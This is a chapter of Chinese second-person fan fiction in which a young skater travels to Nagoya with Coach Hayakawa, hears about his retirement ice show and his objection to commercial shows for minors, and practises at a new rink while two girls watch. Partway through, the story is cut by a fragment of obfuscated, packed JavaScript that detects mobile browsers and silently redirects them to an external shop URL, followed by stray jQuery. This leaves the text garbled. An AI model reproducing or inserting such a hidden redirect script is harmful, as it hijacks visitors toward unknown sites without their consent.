4
新干线窗外的风景以一种稳定的速度向后流淌,从东京都心密集的楼群,逐渐过渡到更为疏朗的城镇,然后是点缀着农田的旷野。
这是你第一次前往日本的其它地区。
说来有些奇异,更遥远的国度你都去过,为了参加别国的集训内容,但日本本土,除了东京及其周边从未踏足。
语言像一层薄雾,笼罩着这次旅程。
日语本身尚处于需要不断学习和巩固的阶段,而听闻每个地区的腔调都有所不同,关西腔与你所熟悉的关东腔之间的差异,在想象中已然成了一道需要小心应对的麻烦屏障。
车厢内安静而平稳,只有列车行驶时低沉的嗡鸣。你望着窗外不断变换的景色,有些出神。
直到一座巨大的、造型独特的银灰色建筑闯入视野,它圆顶的轮廓在午后的阳光下显得格外醒目,带着一种不容忽视的庞大存在感。
你下意识地转过头,看向坐在旁边正翻阅着资料的早川教练。
“岐老师。”
“嗯?”他应了一声,目光并未离开手中的文件。
“那个是什么?”你伸出手指,隔着洁净的车窗玻璃,指向远处那座庞然大物。
他顺着你手指的方向抬眼望去,镜片后的目光在那银灰色的穹顶上停顿了片刻,随即了然。
他合上手中那叠写满训练笔记或比赛数据的资料,语气平缓地为你解释,像在陈述一个客观的事实:
“那是名古屋巨蛋。一座很有名的多功能体育馆,可以举办棒球比赛,也能召开大型演唱会。”
他顿了顿,视线似乎也在那宏伟的建筑上停留了比必要更长的一瞬,像是在穿透时光的帷幕,回溯某段被封存的影像。
然后,他补充道,声音里听不出什么特别的波澜,仿佛在说一件与己无关的旧闻:
“我退役的那场冰演,就是在那里举行的。”
名古屋巨蛋。退役冰演。
这几个字被他用如此平淡的语调说出来,却在你心里激起了奇异的回响。
你重新望向那座在车窗外缓缓移动、渐渐被其它建筑遮挡的巨蛋。
它不再仅仅是一个陌生的、宏伟的地标。在那一刻,它仿佛被注入了某种沉重而辉煌的过往。
你似乎能想象出,在那巨大的穹顶之下,万千观众的瞩目之中,冰面被灯光照得雪亮,曾经属于早川岐的、最后一个滑行的身影,如何在那里划下职业生涯的终止符。
车窗映出你有些怔忪的表情,以及早川教练重新低下头、翻开资料的侧影。
车厢内依旧安静,只有列车规律的运行声,载着你们,驶向一个有着“闪闪发亮的星”和教练昔日荣光的、未知的爱知县。
你眨了眨眼,消化着这个信息。
冰演…那似乎是不同于严肃比赛的、另一个冰上世界。
听起来带着某种庆典般的光环。
“…冰演…很有意思吗?”你追问,试图从他平淡的语气里抠出一点具体的想象。
他沉默了一下,目光似乎没有焦点地落在前方座椅的靠背上,像是在翻阅一本久远的相册。“…嗯,”他应了一声,这声承认带着些许遥远的温度,“在我那个时候,面对粉丝最直接的热情来说,很有意思。” 那或许是指满场的欢呼,飞扬的玩偶,以及无需用技术动作定级来衡量的、纯粹的共鸣。
但随即,他话锋一转,那点微弱的温度似乎迅速冷却下来。“但是近几年,花滑变得不再只有艺术。”他的声音里渗入一种清晰的疏离感,甚至是一丝极淡的厌倦,“将其他竞技体育那种更…赤裸的运营想法投入进去后,我认为对于一些人来说,就比如我,没有意思了。”
他说的是“一些人”,是“我”,界限分明。
然后,他的视线从虚空中收回,彻底从电脑平板上移开,转向你。镜片后的目光带着一种罕见的郑重。
“所以,将来如果你也被邀请去参加商业冰演,”他顿了顿,强调道,“如果那个时候你还没有成年,我希望你拒绝。”
这个要求来得有些突然。为什么?仅仅是觉得“没有意思”吗?你看着他,等待一个更具体的答案。
他似乎看穿了你的疑惑,给出了那个理由,简短,却像冰刀划过冰面一样清晰、冷冽:“我不希望你的喜欢,沾染上商业上的交易。”
交易。
这个词轻轻落下,带着金属般的质感和重量。它不像“比赛”那样关乎输赢与极限,也不像“表演”那样关乎美与共鸣。
它关乎等价交换,关乎合同与利益,关乎将某种纯粹的东西明码标价。
你似乎能模糊地感觉到,在那所谓的“交易的背后,可能存在着某种会磨损初心、会让冰刀变钝的东西。眨了眨眼睛,将这个词和教练此刻异常严肃的神情一起,收入心底那个需要谨慎存放的匣子里。
“我知道了。”你点了点头,没有追问,也没有异议。
…
新干线的车门在身后合拢,都市特有的喧嚣与节奏被置换为名古屋站内略显混杂却不同的声浪。
你好奇地四下张望,身体里那股探索的冲动让你下意识就想往人流里钻。
刚迈出半步,后颈衣领处便传来一股轻柔却不容抗拒的拉力——早川教练精准地揪住了你藏在衣领下的项链坠子,像牵住一只不安分的小动物。
“…别乱跑。”他的声音带着惯常的平稳,但底下藏着一丝不易察觉的紧张。
35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17634966|206532||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>你撇了撇嘴,被迫停下脚步,有些不情愿:“知道了啦!” 目光却依旧不受控制地溜向四周,爱知县的一切,从车站建筑的细节到行人不同的穿着口音,都散发着陌生的吸引力。
“…” 早川教练似乎无声地叹了口气,松开了捏着项链的手指,那小小的金属坠子落回你脖颈之间,带着他指尖残留的一点温度。
“明天考核完,我会带你去玩的,”他抛出条件,试图稳住你,“我们现在要去皇冠花滑冰场适应一下。”
“…!真的吗!” 你的注意力瞬间被前半句捕获,眼睛亮了起来,至于后半句关于适应场地的话,则被自然而然地过滤掉了。
“…” 早川教练的嘴角几不可见地抽动了一下,显然看穿了你的选择性听取,“听到我说的话了没?”
“听到了听到了!” 你连连点头,语气欢快,推着他示意快走。
…
被早川教练一路领着走进皇冠花滑冰场所在的建筑,他将那个熟悉的、装着黑色冰刀鞋的包递到你手里。“去换上吧。”
“是——” 你拉长声音应着,抱着包跑向更衣室。
当熟悉的黑色冰鞋紧紧包裹住脚踝,将连体训练裤的裤脚塞进鞋帮,一种安心的感觉逐渐取代了初到陌生之地的新奇与躁动。
踏上冰场边缘,摘掉硬质的冰刀套,用刀齿在光洁的冰面上轻轻点了点。
有点硬欸。
和明治神宫俱乐部那被精心维护的冰面触感略有不同。
你滑入场中,开始简单的绕场,感受着脚下冰面的反馈,调整着身体的重心与发力方式。
冰场外围,透明的隔板之外,两个身影停了下来。
依瑠花顶着一头被帽子压得有些毛躁的蓝色短发,眨了眨她那像晴空一样的蓝色眼睛,扯了扯身边女孩的衣袖:“实叶,为什么现在只有那个孩子可以进去?”
实叶将浅橘色的刘海被她习惯性地往上顺了顺,编在脑侧,不长不短的头发衬得她脖颈修长。
她正准备回答依瑠花的问题,目光却不由自主地被冰场中央那个陌生的身影吸引。
场中,那个穿着黑色训练服、踩着黑色冰鞋的你,正结束了一段流畅的助滑,左前外刃果断切入冰面,身体腾空而起,带着一种初生牛犊不怕虎的劲头,在空中急速旋转——
实叶编着头发的手指一顿,橘色的眼眸里闪过一丝讶异,轻声低语:“…好厉害的跳跃…”
那跳跃或许还带着青涩,高度和远度也未到极致,但其中蕴含的果断、那种对身体轴心的控制感,以及落冰时那一下带着倔强意味的稳定,都清晰地传递了出来。
依瑠花也顺着她的目光望去,小嘴微微张着,忘了刚才的问题。